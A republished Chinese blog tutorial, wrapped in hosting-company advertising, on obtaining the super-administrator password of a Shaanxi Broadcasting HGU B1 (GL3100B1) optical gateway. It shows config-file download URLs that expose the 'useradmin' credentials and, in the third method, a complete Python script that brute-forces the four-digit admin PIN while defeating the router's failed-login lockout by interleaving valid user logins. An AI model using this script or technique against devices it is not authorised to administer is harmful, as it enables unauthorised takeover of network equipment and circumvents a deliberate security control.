文章目錄

• 方法一 獲取配置文件
• 方法二 獲取配置文件（法一失效的情況）
• • 2.1 相關(guān)參數(shù)
  • 2.2 具體操作
• 方法三 暴力破解（不推薦，需要python運(yùn)行環(huán)境）
• • 3.1 前言
  • 3.2 相關(guān)參數(shù)
  • 3.3 代碼核心思想
  • 3.4 根據(jù)上述思想，編寫python代碼如下：

創(chuàng)新互聯(lián)專注于龍江企業(yè)網(wǎng)站建設(shè),自適應(yīng)網(wǎng)站建設(shè),電子商務(wù)商城網(wǎng)站建設(shè)。龍江網(wǎng)站建設(shè)公司,為龍江等地區(qū)提供建站服務(wù)。全流程定制網(wǎng)站建設(shè)，專業(yè)設(shè)計(jì)，全程項(xiàng)目跟蹤，創(chuàng)新互聯(lián)專業(yè)和態(tài)度為您提供的服務(wù)方法一 獲取配置文件

參考陜西廣電光貓獲取超管密碼 -sjxin1997
登錄user賬號(hào)后訪問http://192.168.1.1/romfile.cfg并下載romfile.cfg文件，在文件中搜索useradmin。

方法二 獲取配置文件（法一失效的情況） 2.1 相關(guān)參數(shù)

1. 網(wǎng)關(guān)名稱：HGU B1型家庭網(wǎng)關(guān)
2. 型號(hào)：GL3100B1
3. 固件版本：V3.0.16353

2.2 具體操作

登錄user賬號(hào)后訪問http://192.168.1.1/boaform/formSaveConfig，會(huì)出現(xiàn)如下提示：

此時(shí)點(diǎn)擊儲(chǔ)存按鈕即可保存配置文件，同法一在文件中查找useradmin。

方法三 暴力破解（不推薦，需要python運(yùn)行環(huán)境） 3.1 前言

受到陜西廣電 HGU B2 光貓獲取超級(jí)密碼 改橋接模式 提升網(wǎng)速的skip ban方法的啟發(fā)，編寫了一個(gè)python程序用來解決HGU B1型家庭網(wǎng)關(guān)無法訪問http://192.168.1.1/romfile.cfg但仍希望獲取超級(jí)管理員密碼的暴力破解python腳本。

3.2 相關(guān)參數(shù)

1. 網(wǎng)關(guān)名稱：HGU B1型家庭網(wǎng)關(guān)
2. 型號(hào)：GL3100B1
3. 固件版本：V3.0.16353

3.3 代碼核心思想

問題一：該網(wǎng)關(guān)加入了一個(gè)密碼防暴力破解機(jī)制，即使用userPwdErrCount來記錄密碼錯(cuò)誤的次數(shù)，當(dāng)該值大于3時(shí)，需等待一分鐘才能繼續(xù)嘗試密碼。具體判斷JavaScript代碼如下圖所示：

解決方法：參照陜西廣電 HGU B2 光貓獲取超級(jí)密碼 改橋接模式 提升網(wǎng)速，每當(dāng)密碼錯(cuò)誤次數(shù)為2時(shí)，輸入一次普通用戶的正確密碼來重置。

if(i%2==1):
        # 防止密碼錯(cuò)誤次數(shù)到達(dá)上限
        login_data = {"username":"user","psd":"改為你自己的密碼","login_in":"%B5%C7%C2%BC"}
        session.post(login_url,login_data,allow_redirects=False)
        res = session.post(logout_url,allow_redirects=False)

問題二：如何判斷登錄成功？
解決方法：網(wǎng)關(guān)判斷賬號(hào)密碼是否正確的URL為http://192.168.1.1/boaform/admin/formLogin，使用POST方法傳輸數(shù)據(jù)，判斷后，會(huì)響應(yīng)一個(gè)302重定向狀態(tài)碼，如果重定向到/admin/login.asp，則說明登錄失敗，如果重定向到/，則說明登錄成功。

3.4 根據(jù)上述思想，編寫python代碼如下：

代碼所需python庫(kù)：requests庫(kù)和beautifulsoup庫(kù)。
安裝方法：打開cmd，使用命令

python -m pip install requests beautifulsoup4

之后將以下代碼復(fù)制保存成.py文件并執(zhí)行。注意將login_data里面的密碼改為自己的密碼。

import requests
from bs4 import BeautifulSoup

for i in range(10000):
    User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"

    headers = {"User-Agent":User_Agent}
    session = requests.Session()

    response = session.get("http://192.168.1.1")

    cookies = session.cookies

    login_url = "http://192.168.1.1/boaform/admin/formLogin"
    if(i%2==1 or i==0):
        # 防止密碼錯(cuò)誤次數(shù)到達(dá)上限
        login_data = {"username":"user","psd":"改成你自己的密碼","login_in":"%B5%C7%C2%BC"}
        session.post(login_url,login_data,allow_redirects=False)
        logout_url = "http://192.168.1.1/boaform/admin/formLogout"
        res = session.post(logout_url,allow_redirects=False)
    login_data = {"username":"useradmin","psd":"{:0>4}".format(i),"login_in":"%B5%C7%C2%BC"}
    print(login_data)
    res = session.post(login_url,login_data,allow_redirects=False)
    soup = BeautifulSoup(res.text, 'html.parser')   #文檔對(duì)象
    a_lable = soup.find_all('a')
    if (a_lable[0]['href'] == '/'):
        print(i)
        break

執(zhí)行等待窮舉完成即可。

你是否還在尋找穩(wěn)定的海外服務(wù)器提供商？創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級(jí)流量清洗系統(tǒng)配攻擊溯源，準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性，企業(yè)級(jí)服務(wù)器適合批量采購(gòu)，新人活動(dòng)首月15元起，快前往官網(wǎng)查看詳情吧

網(wǎng)頁(yè)題目：陜西廣電HGUB1光貓獲取超級(jí)密碼方法匯總-創(chuàng)新互聯(lián)
轉(zhuǎn)載來于：http://weahome.cn/article/dhehgi.html